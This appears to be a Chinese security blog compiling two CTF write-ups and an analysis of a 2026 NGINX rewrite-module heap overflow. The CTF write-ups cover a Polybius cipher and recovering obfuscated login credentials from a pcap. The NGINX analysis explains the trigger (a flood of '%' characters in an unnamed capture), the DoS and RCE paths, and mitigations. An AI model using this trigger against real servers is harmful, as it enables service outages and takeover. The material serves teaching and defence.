[CTF] rootme靶场-Polybius
题目地址
https://www.root-me.org/fr/Challenges/Cryptanalyse/Substitution-monoalphabetique-Polybe前言
最近一直在学密码学,但是大多理论知识太过枯燥,所以就直接找了些密码学相关题进行学习研究,理论为辅,实战为主!固定复盘习惯,防止刷完就忘,所以便想着记录下来,开始沉淀属于自己的密码学知识体系!
正文
命题
一个奇怪的人在买了一卷来源可疑的卷轴后联系了你......他指望你敏锐的头脑来解读这条信息!你必须动用所有密码分析能力。
前置文件分析
题目相关资料里有一个 PDF:
PDF 的核心主题是 Le carré de Polybe,也就是 Polybius square / 波利比奥斯方阵。
PDF浅析:它把 Polybius 方阵归类为一种很基础的 单表替换密码 ->就是每个明文字母都有一个固定替换结果,并且在全文中保持不变。
文章不需要看的很懂,只需要知道这道题考的啥?命题中的(他指望你敏锐的头脑来解读这条信息!)就是需要把这段密文解密出来就行了,具体考的啥加密,PDF也写的很明白了(Polybius)
Polybius了解
什么是波利比奥斯方阵?
波利比奥斯方阵(Polybius Square)是一种经典的加密方法,最早由古希腊学者波利比奥斯提出。它的基本原理是通过一个方阵,将字母与数字(通常是2位数字)对应起来,从而实现加密和解密。加密时,明文中的每个字母都被替换为方阵中对应字母的行和列的坐标。解密时,接收到的数字坐标会根据预设的方阵找到对应的字母。
波利比奥斯方阵如何加密?
确定字母表、行数和列数: 在加密之前,首先需要确定字母表(支持多种语言)、行数和列数;同时,还可以选择使用的分隔符(例如,逗号、空格等)。
生成方阵: 根据字母表、行数和列数,自动生成对应的波利比奥斯方阵,方阵中每个字符都会被分配一个行列坐标。
加密过程:将明文中的每个字母按照行列坐标替换,结果是用数字对(行列坐标)来表示明文。
输出密文: 最终的密文是由数字对组成的字符串。
示例
对于标准的26个英文字母“ABCDEFGHIJKLMNOPQRSTUVWXYZ”,通常使用5行5列的方阵:
明文“HELLO”的加密过程:
H -> (2, 3)
E -> (1, 5)
L -> (3, 1)
L -> (3, 1)
O -> (3, 4)
所以,“HELLO”加密后的密文是“23 15 31 31 34”。
波利比奥斯方阵如何解密?
确定字母表、行数和列数: 解密时,首先需要知道字母表、行数和列数,以便构建正确的方阵。
解析数字对: 密文是由数字对(行列坐标)组成的,每个数字对对应一个字母。根据密文中的数字对,在方阵中查找相应的字母。
输出明文:把查找到的字母组合起来输出最终的明文。
示例
如果收到密文“23 15 31 31 34”,根据上述方阵查找:
23 -> H
15 -> E
31 -> L
31 -> L
34 -> O
解密后的明文是:HELLO。
加密和解密流程:
PDF 对这个方法的思路可以概括成两步。
加密时:
先准备一个 5x5 字母表。
找到每个明文字母所在的位置。
用“行号 + 列号”替换这个字母。
解密时反过来:
把密文按两个字符一组拆开。
每组坐标定位到方阵里的一个格子。
读出格子里的字母。
所以只要看到一串东西像这样:
11 22 35 44 15
或者像本题这样:
b3 a3 d1 c2 b1
第一反应就应该是:它可能不是普通文本,而是坐标。
a b c d e
1 2 3 4 5
这非常像一个改写版的 5x5 坐标系统:
1 2 3 4 5
+-----------------------
a | a1 | a2 | a3 | a4 | a5
b | b1 | b2 | b3 | b4 | b5
c | c1 | c2 | c3 | c4 | c5
d | d1 | d2 | d3 | d4 | d5
e | e1 | e2 | e3 | e4 | e5
也就是说,题目把传统的:
11 12 13 14 15
21 22 23 24 25
...
改成了:
a1 a2 a3 a4 a5
b1 b2 b3 b4 b5
...
所以 b3a3d1 不应该看成 6 个独立字符,而应该拆成:
b3 / a3 / d1
这一步就是本题最重要的前置判断。
本题的坐标和明文字母之间不是标准顺序,而是被重新打乱过。而且笔者还拿去对应网站试过,是无法直接套出来的
根据最终的密文分析出:
b3 -> c
a3 -> e
d1 -> s
如果按普通标准表,b3 应该是等于12 3。这说明题目不是单纯的标准 Polybius,而是:
Polybius 坐标外壳 + 打乱后的单表替换
前置文件只能帮我们识别“它是坐标型密文”,但不能直接给出最终明文。真正解题还需要做频率分析。题目的核心思路只有三步:
先识别密文的最小单位不是单个字符,而是像 b3 这样的坐标对。
再利用法语高频词,把这些坐标对还原成明文字母。
最后把整篇密文回代,解密那段密文得到明文便可得到flag!
结构分析:
先看密文长什么样
题目文件里的内容大概是这样:
b3a3d1 c2b1e3d4d3d1 a4e5c5b1e3c2a3d1 ...
先注意两个现象:
里面只出现 a-e 和 1-5。
每个“词”长度几乎都是偶数。
这说明它不是普通字母表,而是把“一个字母”编码成了“两个字符”的坐标。
比如:
b3a3d1 -> [b3][a3][d1]
也就是说,真正的解密单位是 b3、a3、d1 这种二元坐标。
1 2 3 4 5
+-----------------------
a | a1 | a2 | a3 | a4 | a5
b | b1 | b2 | b3 | b4 | b5
c | c1 | c2 | c3 | c4 | c5
d | d1 | d2 | d3 | d4 | d5
e | e1 | e2 | e3 | e4 | e5
在这种写法里,b3 就表示“第 b 行,第 3 列”。 题目给你的密文,实际上就是把明文字母替换成了这种坐标。
注意:本题里并不是所有格子都被用到,e4 没有出现,所以咱们不需要去分析未被使用过的密文
在整篇密文里,每个符号始终对应同一个明文字母。 例如如果 e3 代表 a,那么全文里所有 e3 都应该还是 a。
法语里 e 出现特别多。
常见短词有 de、et、la、le、que。
单字母词在法语里也很有用,比如 a。
所以只要统计密文里“谁最常见、谁是短词、谁的重复模式像法语”,就能开始反推。
先抓最明显的词:
这里一定要分清两个统计对象:
坐标频率:统计 a3、d1、e5 等等这种单个高频坐标出现了多少次。
词频:统计 d3a3、c4e3、a3a1 等等这种高频完整密文词出现了多少次。
通过代码计算汇总,坐标频率最高的几个是:
import re
from collections import Counter
from pathlib import Path
# 读取密文文件
text = Path("ch12.txt").read_text(encoding="utf-8")
# 提取所有坐标对,比如 a3、d1、e5
pairs = re.findall(r"[a-e][1-5]", text)
# 统计频率
counter = Counter(pairs)
# 输出前 5 个
print("| 坐标 | 出现次数 ")
print("| --- | ---: |")
for pair, count in counter.most_common(5):
print(f"| `{pair}` | {count} |")
通过代码计算汇总,词频最高的几个是:
import re
from collections import Counter
from pathlib import Path
text = Path("ch12.txt").read_text(encoding="utf-8")
# 提取完整密文词
words = re.findall(r"(?:[a-e][1-5])+", text)
# 统计词频
counter = Counter(words)
# 输出前 10 个最高频密文词
print("=== 密文词频 Top 10 ===")
for i, (word, freq) in enumerate(counter.most_common(10), 1):
print(f"{i:2}. {word:20} {freq}")
穷举评分证明
笔者这次采用的方法,不是直接凭感觉猜字母,而是“先统计、再筛选、再打分、最后回代验证”。就是先用代码统计密文里哪些坐标、哪些短词最常出现,再把这些高频坐标与法语里常见的高频字母、高频功能词做候选匹配,看哪一种映射能同时解释更多高频词,最后再把得分最高的候选回代到原文中,检查是否能形成通顺的法语句子。
上ai联网搜索法语频率排行榜:
排名 字符 出现频率
1 e 14.47%
2 s 7.98%
3 a 7.60%
4 n 7.32%
5 i 7.21%
6 t 7.11%
7 r 6.86%
8 l 5.86%
9 u 5.55%
10 o 5.39%
11 d 4.08%
12 c 3.39%
13 p 2.98%
14 m 2.78%
15 é 2.43%
16 v 1.29%
17 g 1.18%
18 f 1.12%
19 b 0.96%
20 h 0.93%
21 q 0.85%
22 à 0.43%
23 x 0.43%
24 è 0.42%
25 y 0.34%
26 j 0.30%
27 k 0.16%
28 ê 0.13%
29 z 0.10%
30 w 0.08%
31 â 0.05%
32 ç 0.05%
33 ô 0.05%
34 î 0.04%
35 œ 0.02%
36 ù 0.02%
37 û 0.02%
38 ï 0.01%
我们真正已经知道的事实只有两个:
a3 是全文出现次数最多的坐标,频次是 6443。
单表替换会保留“谁最常出现”这个整体趋势。那么可以根据ai联网搜索的排行榜:假设a3 为e,不过呢这里仍然不是最终证明;它只是“最优先验证的候选映射”。真正让这个判断成立的,不是这一步本身,而是它带来的后续连锁验证。
上ai联网搜索与e结合的高频词排行榜:
假如a3 = e,则最高频双坐标词通过高频对比:d3a3 -->de
假如a3 = e,则a3a1变成 e?通过高频对比:--> et
把这些结果继续回代到开头句子里,还能推出一整串正常法语
代码统计先证明 a3 是最高频坐标,法语字母频率说明最高频坐标最值得优先验证成 e,后续词频和整句回代再把这个假设验证为成立,最终能得到以下表:
这张表才是真正开始破题的地方。
d3a3 是全篇最高频的双坐标词,频次 377。如果把前面的统计结论 a3 = e 带进去,它就变成 ?e。法语正文里最常见、最值得优先验证的两字母词之一就是 de,所以首先检查 d3a3 = de 是否成立;一旦成立,就能得到 d3 = d。
e3 是一个单坐标词,频次 234。法语里常见单字母词主要是 a、y,而在这种散文正文里 a 的频率通常远高于 y,所以 e3 = a 是更优先验证的候选。
c4e3 出现 182 次。如果前一步 e3 = a 成立,那么它的形状就是 ?a。法语高频短词里,最常见且最值得先检验的就是 la,因此再验证 c4 = l。
a3a1 出现 174 次。如果 a3 = e 已经被前两步支持,那么它就变成 e?。法语里最常见的两字母高频词之一就是 et,因此可继续验证 a1 = t。
这时我们已经有了一批比较稳的基础映射:
a3 = e
d3 = d
e3 = a
c4 = l
a1 = t
把这些候选映射连续回代到原文里,看它们能不能稳定地产生高频法语词,并最终拼出通顺句子。
用开头四个词把表补起来:
把前几个长词直接回代,明文会很快显形。把它按“已知字母 + 未知字母”的形式进行迭代。
拿文章开头前四个词进行验证
把已经得到的映射填进去:
b3a3d1 -> ?e?
c2b1e3d4d3d1 -> ??a?d?
a4e5c5b1e3c2a3d1 -> ????a?e?
b3a4b4e1e3b1a3d1 -> ????are?
先看第一个词 b3a3d1 -> ?e?。文章开头是一个三字母词,第二个字母是 e。法语里常见的开头词可以是 les、des、ces、ses。但是只靠这一个词还不能定,先放着。
把前四个词连在一起看,目前只有这些形状:
?e? ??a?d? ????a?e? ????are?
继续看第二个词。
c2b1e3d4d3d1 -> ??a?d?。如果最后两个坐标 d3d1 里面 d3 = d,那么这个词尾是 d?。法语形容词里非常常见的六字母词 grands 正好是:
g r a n d s
c2 b1 e3 d4 d3 d1
这样能一次补出:
c2 = g
b1 = r
d4 = n
d1 = s
有了 d1 = s,第一个词立刻变成:
b3a3d1 -> ?es
在 ?es grands ouvrages 这个语境里,最顺的是 ces grands ouvrages。后续也有ai联网证明,于是:
b3 = c
再看第三个词:
a4e5c5b1e3c2a3d1 -> ???rages
它的尾巴已经确定是 rages,而且前面句子是:
ces grands ???rages
到这一步就不需要盲测了,ai联网搜索一下:
a4e5c5b1e3c2a3d1 -> ouvrages
于是补出:
a4 = o
e5 = u
c5 = v
第四个词再回代:
b3a4b4e1e3b1a3d1 -> co??ares
继续ai联网搜索:
b4 = m
e1 = p
现在开头四个词就能完整读出来:
ces grands ouvrages compares
如果再往后多看四个词,验证会更强:
e3e5 -> au
b3a4b1e1d1 -> corps
b2e5b4e3d2d4 -> humain
d1a3b4c3c4a3d4a1 -> semblent
连起来就是:
ces grands ouvrages compares au corps humain semblent
继续补出更多字母:
把已有映射回代到高频词里:
假如如果前面的 a3 = e、e3 = a、c4 = l 有一个错了,这里就不会连续冒出 le、les、de、et、est、un、que、qui 这么多正常法语词,所以前面的高频穷举目前没有问题。
例 1:votre
c5a4a1b1a3 -> votre
这个词其实大部分字母已经由 ouvrages 和 grands 带出来了:
c5 = v
a4 = o
a1 = t
b1 = r
a3 = e
v-o-t-r-e 全部能对上,证明前面的 v/o/t/r/e 没有冲突。
例 2:freres
e2b1a3b1a3d1 -> ?reres
这个词的结构很特别:第 2 位和第 4 位都是 r,第 3 位和第 5 位都是 e,最后是 s。在文章主题里又经常谈到“兄弟”,所以 ?reres -> freres。
于是补出:
e2 = f
例 3:maintenant
b4e3d2d4a1a3d4e3d4a1 -> ma?ntenant
这里的判断更直观。b4 = m、e3 = a、d4 = n、a1 = t、a3 = e 已经有了,只剩中间的 d2。ai联网证明 ma?ntenant ->maintenant,所以:
d2 = i
这个结论还会被 d2c4 -> il、c1e5d2 -> qui 反复验证。
例 4:toujours
a1a4e5a2a4e5b1d1 -> tou?ours
t o u ? o u r s 这个形状非常明显,法语高频词就是 toujours,所以:
a2 = j
到这里,常见字母基本齐了。剩下的 b、h、x、y、z 这类低频字母,是不可能一眼看出来的,法语生的话就当我没说过这句话,通常是在全文回代到九成可读以后,从个别词里补出来。笔者是没有任何法语基础的,某些词都是靠ai翻译得出的。
完整映射表:
最终得到的对应关系如下:
a1 -> t a2 -> j a3 -> e a4 -> o a5 -> z
b1 -> r b2 -> h b3 -> c b4 -> m b5 -> x
c1 -> q c2 -> g c3 -> b c4 -> l c5 -> v
d1 -> s d2 -> i d3 -> d d4 -> n d5 -> y
e1 -> p e2 -> f e3 -> a e5 -> u
最终解密之后的明文:
结尾:
这道题给笔者的感觉就是像js逆向的字体反爬,都是通过映射即可解决。
[CTF] SamsClass靶场-Obfuscation0
题目地址:
https://attack.samsclass.info/ob/ob0.htm题目翻译
挑战:代码混淆 0
下方登录页面并未采用 HTTPS 加密传输,但它会对账号密码做混淆加密处理,因此你无法在抓包工具中直接读取明文账号密码。
你的任务:逆向破解这套混淆加密逻辑。
理清加密原理后,分析提供的 pcap 抓包文件,找出真实正确的账号密码,完成登录。
你可以独立解题;如果需要解题提示,往下翻阅。
JavaScript 混淆逆向入门教程
在登录框输入测试账号:用户名admin,密码password,用 Wireshark 抓下 HTTP POST 请求数据包。
抓包底部会出现分行文本数据,包含两个传参字段:
xi=benjo
xp=qbttxpse
想要弄懂加密逻辑,查看网页的 HTML 源代码即可。
登录表单说明
页面登录表单中:账号输入框字段名为id,密码输入框字段名为pw。
点击登录按钮时,表单提交事件onsubmit会执行一段名为obfuscate()的 JavaScript 混淆加密函数。
最重要的一点就是分析pcap文件
So to deobfuscate the credentials, open the pcap file and move each character one letter backwards in the alphabet to find the correct credentials.
When you get it right, you'll be able to log in and see this page:
正文
这道题考的就是简单的逆向分析,前端代码没有进行任何混淆,加密也能随意复现,在安全的角度考虑,此题可以有多种通过方式。
随意输入账号密码抓包
返回的响应是访问被拒绝,通过题目意思可知正确的账号密码放在客户端
找到登录按钮事件去全局搜索
obfuscate函数收集的是scramble函数处理之后的值,这说明浏览器最终提交了 4 个字段,混淆后的用户名,混淆后的密码,原始用户名被清空,原始密码被清空。如此可证明有用的便是混淆后的用户名,混淆后的密码,接下来分析混淆加密函数scramble
scramble函数的意义就是输入一个字符串,把其中每个字符的 ASCII/Unicode 编码加 1,得到新字符串。后续解密可以通过加密反推解密
// 定义混淆加密函数scramble,接收字符串参数text(原始账号/密码)
function scramble(text)
{
// 初始化空字符串output,用来存放加密完成后的结果
var output = "";
// for循环:x作为索引,从0开始,循环到字符串最后一位(小于字符串总长度)
for(x=0; x<text.length; x++)
{
// 分步拆解:
// text.charCodeAt(x):取出当前下标x字符对应的ASCII码
// + 1:ASCII码数值加1,字符向后偏移一位(凯撒密码偏移1)
// String.fromCharCode():把计算后的ASCII数字转回对应字符
// += 拼接到输出字符串末尾
output += String.fromCharCode(text.charCodeAt(x) + 1);
}
// 循环结束,返回全部字符移位后的密文字符串
return output;
}
发包逻辑,加密混淆都分析完了,接下来就是分析pcap文件
certutil -encodehex ob0.pcap -
输入长度 = 751
输出长度 = 3477
CertUtil: -encodehex 命令成功完成。
查看十六进制,xi=Tuvefou&xp=Tfdsfu&id=&pw=
第一种方式:通过加密函数写反推
已知源码规则:
明文字符 + 1 = 混淆字符
那么:
混淆字符 - 1 = 明文字符
所以:
Tuvefou -> Student
Tfdsfu -> Secret
py代码:
def descramble(text):
return ''.join(chr(ord(c) - 1) for c in text)
print(descramble("Tuvefou"))
print(descramble("Tfdsfu"))
得到账号是Student,密码是Secret
第二种方法便是通过js去hook 不做
hook代码:
obfuscate = function () {
document.form.xi.value = "Tuvefou";
document.form.xp.value = "Tfdsfu";
document.form.id.value = "";
document.form.pw.value = "";
return true;
}
通过
CVE-2026-42945 深度解析 NGINX Rift :潜伏18年的堆溢出漏洞分析与防御指南
在全球互联网基础设施的底层架构中,NGINX 凭借其极致的异步非阻塞事件驱动模型和极低的内存消耗,长期占据着 Web 服务器、反向代理、负载均衡器以及 API 网关领域的统治地位。NGINX的安全性影响全球数以千万计在线服务。2026年5月13日,一项被正式命名为 “NGINX Rift” 的严重内存破坏漏洞(CVE-2026-42945)的公开披露,在网络安全业界引发了强烈的震动。
该漏洞极其罕见地在 NGINX 的核心源码库中潜伏了大约 18 年之久(据溯源分析,该缺陷最早在 2008 年左右的提交中被引入),波及了从 0.6.27 早期版本一路延伸至 1.30.0 的几乎所有 NGINX Open Source 迭代分支,同时 NGINX Plus 商业版也未能幸免 。作为一个潜藏极深的基于堆的缓冲区溢出漏洞,它存在于被极为高频使用的 URL 重写模块(ngx_http_rewrite_module)中 。在极具普遍性的特定配置模式下,未经身份验证的远程攻击者仅需发送一个精心构造的单一 HTTP 请求,即可稳定触发该溢出漏洞,导致 NGINX 工作进程(Worker
漏洞分析
根据 F5 官方安全公告(K000161019)以及美国国家漏洞数据库(NVD)的权威评估,NGINX Rift 漏洞在最新的通用漏洞评分系统(CVSS)4.0 标准下获得了 9.2 分的极危(Critical)评级,在 CVSS 3.1 标准下亦达到了 8.1 分的高危(High)水平 。这一评分的内在逻辑深刻反映了该漏洞的破坏力。
受影响版本
该漏洞的波及范围不仅局限于独立部署的 NGINX 服务,更深刻影响了全球主要 Linux 发行版的官方软件源以及基于 Kubernetes 的云原生网络入口控制器。由于该缺陷代码早在 2008 年便已合入主线,这意味着过去 18 年间发布的大量长期支持(LTS)版本均携带此隐患 。
值得高度警惕的是,众多 Kubernetes 集群仍在使用官方主线停止维护的 kubernetes/ingress-nginx 控制器。由于该控制器的底层镜像硬编码并静态嵌入了NGINX 1.27.1 版本,集群管理员无法通过简单地升级宿主机的 NGINX 安装包来解决此问题,必须更换或重新编译入口控制器镜像。这种容器化带来的底层依赖固化,在遇到此类持续时间极长、潜藏极深的超期漏洞时,暴露出供应链安全响应的迟滞风险。
NGINX底层请求处理架构与漏洞产生的原因
为了彻底解析 NGINX Rift 漏洞的技术肌理,有必要深入剖析 NGINX 处理 HTTP 流量的内部架构及其精妙的内存管理哲学。NGINX 并不为每一个传入的连接生成新的线程或进程,而是采用单线程的事件循环(Event Loop)配合非阻塞 I/O 来处理成千上万的并发连接。
在这种架构下,配置文件的解析与请求路由成为至关重要的一环。ngx_http_rewrite_module 是 NGINX 体系中最复杂、最强大的核心模块之一。它允许管理员利用 PCRE(Perl-Compatible Regular Expressions)正则表达式在请求处理的极早期阶段(Server Rewrite Phase 和 Rewrite Phase)动态拦截、修改、重写传入的统一资源标识符(URI),甚至改变后续的处理走向 。在处理如 PHP 前端控制器(Front Controller)模式、WordPress 伪静态永久链接(Permalinks),或是作为 API 网关桥接
在内存分配策略上,NGINX 摒弃了频繁调用操作系统层面 malloc 和 free 的低效做法,转而实现了一套基于内存池(Memory Pool, ngx_pool_t)的高效机制。当一个新的 HTTP 请求接入时,NGINX 会为其创建一个独立的请求内存池。在处理该请求生命周期内的所有小块内存分配(如保存解析后的 HTTP 头、动态生成的 URI 字符串等),都会直接从这个预先申请的大块连续内存页中切割。这种设计极大地降低了内存碎片和分配开销。然而,正是这种将多次分配集中在一个连续内存空间中的设计,使得一旦发生逻辑上的计算谬误导致缓冲区越界写入,溢出的字节会直接覆盖并污染同一内存池中紧邻的
CVE-2026-42945 核心成因
DepthFirst团队在漏洞研究报告中详细揭示了 NGINX Rift 的根本原因。这是一个典型且极其复杂的计算逻辑脱节漏洞,其核心在于 NGINX 的内部脚本引擎(Script Engine)在处理特定的变量重组时,对目标内存长度的“预判(Estimation)”与最终的“执行写入(Execution)”之间,存在基于上下文标志位(Context Flags)的严重不对等。
触发路径的特定“配置”
漏洞并非在 NGINX 的常规运行中随机产生,它宛如一把必须通过特定配置齿轮才能咬合转动的复杂暗锁。研究表明,必须同时满足以下三个配置维度的条件,漏洞代码路径才会被激活 :
存在未命名的 PCRE 正则捕获:在 rewrite 指令的正则表达式中,使用了未命名的捕获组,随后在配置逻辑中通过系统自动分配的数字变量(如 $1, $2)进行引用。
替换字符串引入查询参数机制:在目标替换字符串(Replacement String)中嵌入了问号(?)。在 NGINX 的路由语义中,这标志着 URI 路径与查询参数(Query String)的分界,NGINX 会据此改变对后续字符的转义处理逻辑。
同一作用域下的指令链式调用:在这个存在隐患的 rewrite 指令之后,在同一个配置块(Scope)内,必须紧跟另一个触发脚本引擎重新评估的指令,通常是另一个 rewrite,或者是 if 逻辑判断,亦或是 set 变量赋值指令 。
一个能够精准命中上述所有脆弱条件的真实生产环境配置切片如下所示:
# 典型的 API 网关或应用重写逻辑
location /api/v1/ {
# 步骤一与二:正则表达式使用 (.*) 产生未命名捕获 $1,替换字符串包含? 号
rewrite ^/api/v1/(.*)$ /internal_router.php?route=$1;
# 步骤三:紧跟一个 set 指令,触发双重遍历引擎的上下文混乱
set $backend_cluster "legacy_nodes";
}
双重遍历引擎的逻辑错误
当攻击者向具备上述配置的 NGINX 节点发送包含特殊荷载的 HTTP 请求时,NGINX 将进入其内置的脚本求值流程。位于 src/http/ngx_http_script.c 源码文件中的底层机制被唤醒。由于指令链条的复杂性,NGINX 需要对重写目标进行两次遍历操作 :
第一遍遍历:长度分配的短视计算 引擎必须首先计算出需要多大的目标缓冲区来容纳重写后的 URI。此时,系统调用了 ngx_http_script_complex_value_code 函数。至关重要的是,为了进行纯粹的长度评估,NGINX 在这一步实例化并传入了一个被完全清零初始化的“子引擎(Sub-engine)”结构体 。 在这个被清零的子引擎上下文中,一个名为 is_args 的关键标志位被默认为 0。当子引擎进一步调用 ngx_http_script_copy_capture_len_code 去测量正则表达式捕获的内容(即攻击者传入的恶意 $1 变量)时,由于 is_args 为 0,
第二遍遍历:数据写入的转义膨胀 一旦空间分配完毕,执行流程随即切换到第二遍的实际数据拷贝阶段。此时,操作权交还给了保留完整上下文状态的“主引擎(Main engine)”。 在主引擎的上下文中,由于之前的替换字符串中显式包含了 ? 符号,系统正确识别到当前正在处理 URI 的查询参数区域,因此 is_args 标志位被正确地保持为 1。 当程序执行到 ngx_http_script_copy_capture_code 准备将攻击者的数据拷贝入刚刚分配的缓冲区时,悲剧发生了。由于检测到 is_args 为 1,NGINX 强制介入了参数转义流程,调用了底层的 ngx_escape_uri 函数,
在 NGX_ESCAPE_ARGS 转义模式下,根据相关 RFC 标准,特定的字符必须被编码以保证安全传输。例如:
空格会被转化为 + 或 %20。
字符 +、% 和 & 等会被展开为三字节的十六进制表示形式(如 % 会被重新转义为 %25)。
致命的算术冲突与内存覆写:
假设攻击者发送的请求 URI 中包含了 1000 个连续的 % 字符。
计算阶段:子引擎认为这是一个长度为 1000 字节的数据块,向内存池申请了 1000 字节的目标缓冲区。
写入阶段:主引擎在拷贝过程中,对这 1000 个 % 字符执行 NGX_ESCAPE_ARGS 转义,每一个 % 都被转换成了长达 3 个字节的 %25 字符串。最终,主引擎试图将高达 3000 字节的数据强行塞入仅仅分配了 1000 字节的内存块中 。
这导致了多达 2000 字节的高强度越界写入。由于越界写入的字节流实质上是对攻击者原始输入的转义版本,这意味着内存覆写的内容并不是完全的乱码,而是由攻击者高度可控的数据载荷构成的,这种“可控的内存破坏(Controllable Corruption)”正是将其转化为严重安全漏洞的核心原因 。
漏洞利用进阶:从拒绝服务到远程代码执行
了解了 NGINX Rift 漏洞的根本成因后,有必要进一步剖析攻击者是如何在实战环境中运用这一缺陷的。根据底层操作系统环境的防御纵深配置不同,该漏洞能够造成的破坏程度呈现出巨大的两极分化态势。
拒绝服务(DoS)稳定利用
对于绝大多数开启了现代内存保护机制的系统而言,漏洞最直观和最可靠的表现形式是拒绝服务。由于 NGINX 采用 Master-Worker 多进程架构,工作进程(Worker)负责处理具体的网络请求连接。
当攻击者发送包含大量恶意字符膨胀载荷的请求时,堆缓冲区溢出瞬间发生。溢出的数据无情地践踏了紧邻其后的内存结构。如果该内存处于 NGINX 自定义的 ngx_pool_t 结构内,它会破坏下一个即将被使用的内存块的元数据头部;如果触发了针对大块内存的 malloc 退化,它将破坏底层 glibc(如 ptmalloc)管理堆块(Chunk)所必需的头部信息(例如覆盖了关键的 size 字段或是双向链表的 fd/bk 指针)。
当 NGINX 进程继续运行,试图释放该内存块或在同一池中进行下一次分配时,底层的内存完整性校验机制将被触发。系统侦测到堆数据损坏,会立即抛出 SIGSEGV(段错误)或 SIGABRT 异常中断,直接杀死当前正在处理该请求的 Worker 进程 。虽然 NGINX 的 Master 进程拥有强大的韧性,它会在监控到 Worker 退出(例如在日志中记录类似 worker process <PID> exited on signal 11 的信息)后迅速拉起一个新的替补 Worker,但为攻击者提供了一种极其廉价且高效的攻击途径 。
攻击者可以构建多线程发包工具,以每秒数百次的频率持续发送触发载荷。这种高频的精确打击将导致目标服务器上的所有 NGINX Worker 进程陷入永无止境的“崩溃-重启”死亡循环(Crash Loop)中 。合法的用户请求由于分配不到存活的 Worker 进程,或者连接在处理半途中因进程意外死亡而遭到系统强行重置(Connection reset by peer),从而导致目标 Web 业务或 API 服务呈现全面瘫痪的状态 。在 Alma Linux 团队的独立复现测试中,他们确认在 Alma Linux 8、9、10 及后续衍生版本上,针对目标 Worker 进程制造此类 DoS 攻击路径是
远程代码执行(RCE):受限环境下的服务器接管
多份深度研究报告明确指出,CVE-2026-42945 确实存在被转化为无身份验证 RCE 的完整潜能,然而这其中存在一个至关重要的先决门槛—目标主机的地址空间布局随机化(ASLR)状态 。
在默认开启 ASLR 的环境下,由于堆布局的不可预测性,且当前尚未发现能与此溢出相配合的稳定信息泄露(Info-leak)漏洞,攻击者通过盲目构造溢出载荷去精准覆盖如 NGINX 核心结构体中的 handler 回调函数指针,并将其重定向至有意义的执行链(ROP Chain)的成功率微乎其微。强行尝试的结果绝大多数情况下依然是引发不可恢复的段错误崩溃 。
然而,如果目标系统由于特定的历史遗留原因、兼容性约束、特殊的调试配置,或是某些极度精简的物联网(IoT)固件/老旧嵌入式环境中被人为或被迫禁用了 ASLR(例如配置了 sysctl kernel.randomize_va_space=0)。
在此类未受 ASLR 保护的脆弱环境中,内存的分配模式变得相对静态和确定。Depth First 平台发布的概念验证(PoC)代码成功展示了,在关闭 ASLR 后,攻击者可以通过高度复杂的堆风水(Heap Grooming)技巧,利用合法的请求预先占据特定的堆孔洞,使得目标被覆写的关键回调结构精确落在漏洞溢出覆盖的物理范围之内 。通过精确控制在 $1 捕获变量中输入的字符构成和序列,最终实现对 NGINX 执行控制流的精准劫持,顺利完成无需任何身份验证的底层 Shell 获取,实现了真正意义上的灾难性突破 。
NGINX 内部的衍生漏洞矩阵
除了 NGINX Rift,F5 和开源社区在同一批次的补丁更新中,还集中修补了其他多个同样涉及内存破坏和逻辑错乱的安全漏洞,形成了一个规模庞大的“漏洞补丁包”:
修复指南与纵深防御体系建设
一、核心加固:软件升级
根除 CVE-2026-42945 的唯一终极方案,是用修复了内部引擎转义差异缺陷的安全版本彻底替换脆弱代码。安全补丁通过引入更为一致的状态管理逻辑,确保在长度预估和实际拷贝阶段,对于 URI 逃逸字符的判定标准保持绝对统一。
对于原生的 NGINX Open Source 用户:必须将系统平滑升级至 1.30.1(稳定分支)或 1.31.0(主线分支)以上版本 。
对于使用 NGINX Plus 订阅的商业用户:根据生产环境当前固定的发行列车(Release Train),快速部署对应版本的官方安全修正包,包括 R32 P6、R35 P2 或 R36 P4 。
Linux 发行版软件包管理的跟进:对于通过 apt 或 yum 等包管理器直接从发行版软件库安装 NGINX 的服务器。各主流操作系统社区已迅速响应。例如,Ubuntu 已为 26.04 LTS (resolute) 推送了 1.28.3-2ubuntu1.1,为 24.04 LTS (noble) 提供了 1.24.0-2ubuntu7.8 的安全迭代 ;而 Alma Linux 生态圈内,版本 8、9、10 的用户需立刻更新到诸如 nginx-1.14.1-9.el8.10.alma.1 等包含了向上移植(Backport)代码的新编译包 。在利用包管理器升级后,必须手动执行重启命令(如
二、云原生治理:Kubernetes Ingress-NGINX
由于 Kubernetes 官方维护的 ingress-nginx 核心控制器项目当前处于已归档停止推进的状态,其最终正式版控制器镜像内部锁死并静态编译的仍然是易受攻击的 NGINX 1.27.1 版本 。这是极为危险的供应链安全陷阱:即使系统管理员在承载集群计算节点的宿主机操作系统上更新了 NGINX 的 RPM 或 DEB 包,也对运行在容器内部的控制器进程毫无帮助。
应急审计与规避措施:
集群管理员必须进入特定的 Pod 内部执行诊断命令,直接质询编译二进制文件的版本状态:kubectl exec -n ingress-nginx <controller-pod> -- /nginx-ingress-controller --version 。
战略性架构剥离:借此安全事件为契机,加速淘汰陈旧的 Ingress 架构,全面向更为现代、安全解耦的 Kubernetes Gateway API 实施规范演进 。
短效替代品(Fork 方案):在架构平移完成前,对于无法忍受业务断档的企业,建议将其入口控制器的基础镜像临时替换为由社区积极维护、并且及时合并了上游最新安全补丁(1.30.1+ 核心)的分支项目源(例如 Forkline 项目发布的分支镜像)。
三、不升级情况下的临时措施
核心思路:瓦解触发条件链。因为该溢出极其依赖特定语法符号的堆叠,破坏其中任何一环,都能让漏洞的“预分配与实际执行错位”现象不再发生。
全面使用命名捕获替代未命名系统捕获: 这是最为推荐且影响最小的手段。安全团队需要利用自动化脚本工具,对全网范围内所有的 nginx.conf 及其被包含子配置文件进行地毯式扫描,搜索类似 (.*) 这种依赖 $1, $2 被动赋值的原始正则表达式。 随后,将其全部重构为带有显式名称标识的捕获组,例如使用 (?<my_custom_name>.*) 语法,并在后续的重写路径中显式调用 $my_custom_name。这一语法层面的细微变化,足以改变内部脚本引擎在参数解析时的作用域边界和状态传递链条,完美规避底层缺陷 。
脆弱的配置模式(切勿再使用):
rewrite ^/api/(.*)$ /v2/api.php?query=$1;
set $endpoint "api_v2";
安全配置模式:
# 将被动的 $1 升级为具有隔离性的命名捕获 <apipath>
rewrite ^/api/(?<apipath>.*)$ /v2/api.php?query=$apipath;
set $endpoint "api_v2";
